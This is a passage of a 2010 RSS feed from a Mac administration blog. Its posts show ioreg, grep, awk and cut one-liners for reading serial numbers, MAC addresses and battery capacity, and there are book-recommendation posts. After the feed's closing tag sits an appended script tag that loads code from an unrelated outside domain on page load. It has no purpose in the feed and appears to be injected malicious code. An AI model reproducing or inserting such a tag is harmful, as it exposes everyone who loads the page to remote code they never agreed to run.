		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>One More Character In Serials</title>
		<link>http://krypted.com/mac-os-x/one-more-character-in-serials/</link>
		<comments>http://krypted.com/mac-os-x/one-more-character-in-serials/#comments</comments>
		<pubDate>Thu, 13 May 2010 14:00:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[awk]]></category>
		<category><![CDATA[grep]]></category>
		<category><![CDATA[ioreg]]></category>
		<category><![CDATA[sed]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6006</guid>
		<description><![CDATA[Yesterday I showed a way to get the serial number from a Mac OS X machine. However, as a couple of people pointed out, Apple will soon be adding another character to the serial number. This means that rather than use cut I should have used awk to allow for either serial number length. To [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I showed a way to <a href="http://krypted.com/mac-os-x/grabbing-serials-and-mac-addresses/">get the serial number from a Mac OS X machine</a>. However, as a couple of people pointed out, Apple will soon be adding another character to the serial number. This means that rather than use cut I should have used awk to allow for either serial number length. To grab the serial this way:</p>
<blockquote><p>ioreg -l | grep IOPlatformSerialNumber | awk &#8216;{print $4}&#8217;</p></blockquote>
<p>Or without the quotes:</p>
<blockquote><p>ioreg -l | grep IOPlatformSerialNumber | awk &#8216;{print $4}&#8217; | sed &#8217;s/&#8221;//g&#8217;</p></blockquote>
<p><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/grabbing-serials-and-mac-addresses/" rel="bookmark" title="May 12, 2010">Grabbing Serials and MAC Addresses</a></li>
<li><a href="http://krypted.com/mac-os-x/using-the-cut-command/" rel="bookmark" title="January 17, 2010">Using the cut Command</a></li>
<li><a href="http://krypted.com/mac-os-x/removing-norton-antivirus-with-a-script/" rel="bookmark" title="May 5, 2009">Removing Norton AntiVirus with a Script</a></li>
<li><a href="http://krypted.com/mac-os-x/what-is-my-build-number/" rel="bookmark" title="February 4, 2010">What Is My Build Number?</a></li>
<li><a href="http://krypted.com/xsan/dont-defrag-the-whole-san/" rel="bookmark" title="February 13, 2010">Don&#8217;t Defrag the Whole SAN</a></li>
</ul>
<p><!-- Similar Posts took 5.769 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/one-more-character-in-serials/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grabbing Serials and MAC Addresses</title>
		<link>http://krypted.com/mac-os-x/grabbing-serials-and-mac-addresses/</link>
		<comments>http://krypted.com/mac-os-x/grabbing-serials-and-mac-addresses/#comments</comments>
		<pubDate>Wed, 12 May 2010 15:00:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[ioreg]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[serial]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6003</guid>
		<description><![CDATA[During various automations in Mac OS X it helps to grab some key unique identifiers for machines. Two very common identifiers are the serial number of a computer and the MAC Address. To grab a systems serial number I usually use ioreg to run the following, which simply outputs a systems serial number:
ioreg -l &#124; [...]]]></description>
			<content:encoded><![CDATA[<p>During various automations in Mac OS X it helps to grab some key unique identifiers for machines. Two very common identifiers are the serial number of a computer and the MAC Address. To grab a systems serial number I usually use ioreg to run the following, which simply outputs a systems serial number:</p>
<blockquote><p>ioreg -l | grep IOPlatformSerialNumber | cut -c 37-46</p></blockquote>
<p>Because a system can have multiple MAC addresses (one per unique adapter), I will also use ioreg to grab those:</p>
<blockquote><p>ioreg -l | grep IOMACAddress</p></blockquote>
<p>Or to just see an output of the first in the list (en0):</p>
<blockquote><p>ioreg -l -w 0 | grep IOMACAddress | cut -c 37-48 | head -n 1</p></blockquote>
<p><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/one-more-character-in-serials/" rel="bookmark" title="May 13, 2010">One More Character In Serials</a></li>
<li><a href="http://krypted.com/mac-os-x/scripting-a-battery-sanity-check/" rel="bookmark" title="May 6, 2010">Scripting a Battery Sanity Check</a></li>
<li><a href="http://krypted.com/mac-os-x/using-the-cut-command/" rel="bookmark" title="January 17, 2010">Using the cut Command</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-spoofing-mac-addresses-in-5-seconds/" rel="bookmark" title="March 10, 2009">Mac OS X: Spoofing MAC Addresses in 5 Seconds</a></li>
<li><a href="http://krypted.com/mac-os-x/command-line-system-information/" rel="bookmark" title="April 3, 2009">Command Line System Information</a></li>
</ul>
<p><!-- Similar Posts took 8.437 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/grabbing-serials-and-mac-addresses/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Time to Read MacTech</title>
		<link>http://krypted.com/articles-and-books/time-to-read-mactech/</link>
		<comments>http://krypted.com/articles-and-books/time-to-read-mactech/#comments</comments>
		<pubDate>Sun, 09 May 2010 15:00:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Articles and Books]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[MacTech]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5997</guid>
		<description><![CDATA[Haven&#8217;t had much time to read, but now that I have a couple of books completely finished I can sit back and get caught up on my reading. And it is worth mentioning that the very first reading that I&#8217;ll do is getting caught up on the articles in MacTech Magazine, which is the only [...]]]></description>
			<content:encoded><![CDATA[<p>Haven&#8217;t had much time to read, but now that I have a couple of books completely finished I can sit back and get caught up on my reading. And it is worth mentioning that the very first reading that I&#8217;ll do is getting caught up on the articles in MacTech Magazine, which is the only magazine I actually pay for. If you don&#8217;t get it yet, you really should check it out:</p>
<p><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=A1A9A9&#038;fc1=000000&#038;lc1=292940&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=B00006KMK9" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><br />
<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/articles-and-books/mac-os-x-for-unix-geeks/" rel="bookmark" title="September 26, 2008">Mac OS X for Unix Geeks</a></li>
<li><a href="http://krypted.com/football/uga-bye-week/" rel="bookmark" title="October 20, 2007">UGA BYE Week</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-running-non-server-osen-on-vmware/" rel="bookmark" title="July 13, 2008">Mac OS X: Running Non-Server OSen on VMware</a></li>
<li><a href="http://krypted.com/mac-os-x/disable-caps-lock-in-mac-os-x/" rel="bookmark" title="August 12, 2009">Disable Caps Lock in Mac OS X</a></li>
<li><a href="http://krypted.com/mac-os-x/5797/" rel="bookmark" title="February 5, 2010">Last of the Screen Sharing Hacks</a></li>
</ul>
<p><!-- Similar Posts took 15.439 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/articles-and-books/time-to-read-mactech/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Peachpit Books</title>
		<link>http://krypted.com/iphone/peachpit-books/</link>
		<comments>http://krypted.com/iphone/peachpit-books/#comments</comments>
		<pubDate>Fri, 07 May 2010 17:22:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[ACSA]]></category>
		<category><![CDATA[Peachpit Books]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5990</guid>
		<description><![CDATA[Now that all of the Peachpit books are available for 10.6 Certification purposes I thought it might be a good time to post a link to all of them. Here goes:

Or for ACMA (the Final Cut below could be swapped out with Support Essentials, Directory Services or Deployment):
Similar Articles:

Apple&#039;s New Certification Track
Adding DHCP Options in [...]]]></description>
			<content:encoded><![CDATA[<p>Now that all of the Peachpit books are available for 10.6 Certification purposes I thought it might be a good time to post a link to all of them. Here goes:<br />
<iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635337" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635345" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635310" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635329" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635353" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></p>
<p>Or for ACMA (the Final Cut below could be swapped out with Support Essentials, Directory Services or Deployment):<br />
<iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321613228" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321647653" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635337" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635272" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/consulting/apples-new-certification-track/" rel="bookmark" title="October 22, 2007">Apple&#039;s New Certification Track</a></li>
<li><a href="http://krypted.com/mac-os-x-server/adding-dhcp-options-in-mac-os-x-server/" rel="bookmark" title="October 6, 2009">Adding DHCP Options in Mac OS X Server</a></li>
<li><a href="http://krypted.com/articles-and-books/snow-leopard-malware/" rel="bookmark" title="August 25, 2009">Snow Leopard &amp; Malware</a></li>
<li><a href="http://krypted.com/mac-os-x/windows-7-in-october/" rel="bookmark" title="June 15, 2009">Windows 7 in October</a></li>
<li><a href="http://krypted.com/mac-os-x/deploystudio-creating-a-new-master-image/" rel="bookmark" title="August 7, 2009">DeployStudio: Creating a New Master Image</a></li>
</ul>
<p><!-- Similar Posts took 4.556 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/iphone/peachpit-books/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scripting a Battery Sanity Check</title>
		<link>http://krypted.com/mac-os-x/scripting-a-battery-sanity-check/</link>
		<comments>http://krypted.com/mac-os-x/scripting-a-battery-sanity-check/#comments</comments>
		<pubDate>Thu, 06 May 2010 15:00:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[calculate battery]]></category>
		<category><![CDATA[check battery life]]></category>
		<category><![CDATA[check battery percentage]]></category>
		<category><![CDATA[MAC]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5977</guid>
		<description><![CDATA[When I&#8217;m running a script that might be somewhat time intensive I like to check the battery of the MacBooks first. Otherwise I might end up hosing some machines that die out in the middle of a script. To do so I&#8217;ll use ioreg to grab the maximum load that a battery can sustain, stored [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste">When I&#8217;m running a script that might be somewhat time intensive I like to check the battery of the MacBooks first. Otherwise I might end up hosing some machines that die out in the middle of a script. To do so I&#8217;ll use ioreg to grab the maximum load that a battery can sustain, stored in MaxCapacity:</div>
<blockquote>
<div>capacity=`ioreg -l | grep MaxCapacity | cut -c 35-39`</div>
</blockquote>
<div>Then I&#8217;ll grab the current load on the battery, stored in CurrentCapacity:</div>
<blockquote>
<div>current=`ioreg -l | grep CurrentCapacity | cut -c 39-43`</div>
</blockquote>
<div>Finally I&#8217;ll grab a percentage:</div>
<blockquote>
<div>echo &#8220;scale=2; $current*100/$capacity&#8221; | bc</div>
</blockquote>
<div>If the percentage is above a certain threshold then I&#8217;ll run the script, if not I&#8217;ll exit the script. Usually I&#8217;ll return a different code on success or failure for the sanity check than I would for success or failure of the actual payload, if only to ease deployment troubleshooting.</div>
<p><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/grabbing-serials-and-mac-addresses/" rel="bookmark" title="May 12, 2010">Grabbing Serials and MAC Addresses</a></li>
<li><a href="http://krypted.com/xsan/dont-defrag-the-whole-san/" rel="bookmark" title="February 13, 2010">Don&#8217;t Defrag the Whole SAN</a></li>
<li><a href="http://krypted.com/mac-os-x/scripting-the-log-out/" rel="bookmark" title="May 4, 2010">Scripting the Force Log Out</a></li>
<li><a href="http://krypted.com/mac-os-x/what-version-of-mac-os-x-am-i-running/" rel="bookmark" title="January 15, 2007">What Version of Mac OS X Am I Running?</a></li>
<li><a href="http://krypted.com/mac-os-x/enabledisable-root-on-mac-os-x/" rel="bookmark" title="May 19, 2009">Enable/Disable Root on Mac OS X</a></li>
</ul>
<p><!-- Similar Posts took 8.727 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/scripting-a-battery-sanity-check/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>